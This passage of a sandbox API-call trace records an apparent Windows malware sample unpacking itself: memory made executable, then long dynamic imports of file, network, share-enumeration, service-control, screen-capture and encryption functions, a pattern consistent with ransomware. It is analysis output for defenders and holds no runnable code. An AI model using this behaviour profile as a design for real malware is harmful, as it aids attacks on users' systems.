lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0043.778] VirtualProtect (in: lpAddress=0x210020, dwSize=0x94240, flNewProtect=0x40, lpflOldProtect=0x18f4d0 | out: lpflOldProtect=0x18f4d0*=0x4) returned 1 [0043.790] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0043.790] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0043.791] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0043.791] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0043.791] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0043.791] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0043.791] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0043.791] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0043.791] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x7c [0043.793] Module32First (hSnapshot=0x7c, lpme=0x18f238) returned 1 [0043.813] VirtualAlloc (lpAddress=0x0, dwSize=0x119c50, flAllocationType=0x1000, flProtect=0x40) returned 0x33e0000 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0043.849] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0043.850] SetErrorMode (uMode=0x400) returned 0x0 [0043.850] SetErrorMode (uMode=0x0) returned 0x400 [0043.850] GetVersionExA (in: lpVersionInformation=0x18e168*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e168*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0043.850] VirtualAlloc (lpAddress=0x0, dwSize=0x118e00, flAllocationType=0x1000, flProtect=0x4) returned 0x3600000 [0043.867] VirtualProtect (in: lpAddress=0x400000, dwSize=0x137000, flNewProtect=0x40, lpflOldProtect=0x18f1f0 | out: lpflOldProtect=0x18f1f0*=0x2) returned 1 [0043.915] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0043.915] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0043.915] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0043.915] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0043.915] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0043.915] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0043.915] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b30000 [0043.918] GetProcAddress (hModule=0x74b30000, lpProcName="WNetOpenEnumW") returned 0x74b32f06 [0043.918] GetProcAddress (hModule=0x74b30000, lpProcName="WNetEnumResourceW") returned 0x74b33058 [0043.918] GetProcAddress (hModule=0x74b30000, lpProcName="WNetCloseEnum") returned 0x74b32dd6 [0043.918] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0043.927] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0043.927] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0043.927] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0043.927] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0043.927] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0043.927] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0043.927] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0043.927] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0043.930] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0043.930] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0043.930] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0043.930] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0043.930] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0043.930] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0043.931] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0043.931] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0043.931] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0043.931] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0043.931] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0043.931] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0043.931] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0043.931] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0043.931] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0043.931] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0043.931] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0043.931] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0043.931] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0043.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0043.933] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0043.934] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0043.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0043.936] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0043.936] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0043.936] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0043.936] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0043.936] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0043.936] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0043.936] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0043.936] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0043.936] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0043.936] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatus") returned 0x76c38b6d [0043.936] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0043.937] GetProcAddress (hModule=0x76c20000, lpProcName="FlushConsoleInputBuffer") returned 0x76cd7a9f [0043.937] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0043.937] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0043.937] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0043.937] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0043.937] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0043.937] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0043.937] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0043.937] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0043.937] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleMode") returned 0x76c4a77d [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetNumberOfConsoleInputEvents") returned 0x76cd793f [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="PeekConsoleInputA") returned 0x76cd6f0d [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0043.938] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0043.939] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleInputA") returned 0x76cd6f53 [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0043.940] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0043.941] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0043.941] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0043.941] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0043.941] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0043.941] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0043.941] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0043.941] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0043.941] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0043.941] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0043.941] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0043.941] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0043.941] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0043.941] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0043.941] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0043.942] GetProcAddress (hModule=0x74f40000, lpProcName="GetProcessWindowStation") returned 0x74f59eea [0043.943] GetProcAddress (hModule=0x74f40000, lpProcName="GetUserObjectInformationW") returned 0x74f58068 [0043.943] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0043.943] GetProcAddress (hModule=0x74f40000, lpProcName="GetDesktopWindow") returned 0x74f60a19 [0043.943] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0043.943] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0043.943] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0043.943] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0043.943] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0043.943] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0043.943] GetProcAddress (hModule=0x74d40000, lpProcName="ReportEventA") returned 0x74d43ee9 [0043.943] GetProcAddress (hModule=0x74d40000, lpProcName="RegisterEventSourceA") returned 0x74d52d46 [0043.943] GetProcAddress (hModule=0x74d40000, lpProcName="DeregisterEventSource") returned 0x74d535dd [0043.943] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0043.943] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0043.944] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0043.944] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0043.947] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0043.947] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0043.947] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0043.947] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0043.947] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0043.947] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0043.947] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0043.947] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0043.947] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0043.947] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0043.948] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0043.948] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0043.948] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0043.948] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0043.948] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0043.948] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0043.948] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0043.948] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0043.948] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0043.948] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74b50000 [0043.954] GetProcAddress (hModule=0x74b50000, lpProcName="GetAdaptersInfo") returned 0x74b59263 [0043.954] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0043.956] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0043.956] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0043.956] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0043.956] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a80000 [0043.960] GetProcAddress (hModule=0x74a80000, lpProcName="DnsFree") returned 0x74a8436b [0043.960] GetProcAddress (hModule=0x74a80000, lpProcName="DnsQuery_W") returned 0x74a9572c [0043.960] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0043.960] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0043.960] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75ad0000 [0043.960] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0043.960] GetProcAddress (hModule=0x75ad0000, lpProcName="GetObjectA") returned 0x75ae85d4 [0043.960] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0043.960] GetProcAddress (hModule=0x75ad0000, lpProcName="GetDeviceCaps") returned 0x75ae4de0 [0043.961] GetProcAddress (hModule=0x75ad0000, lpProcName="GetBitmapBits") returned 0x75aec155 [0043.961] GetProcAddress (hModule=0x75ad0000, lpProcName="BitBlt") returned 0x75ae5ea6 [0043.961] GetProcAddress (hModule=0x75ad0000, 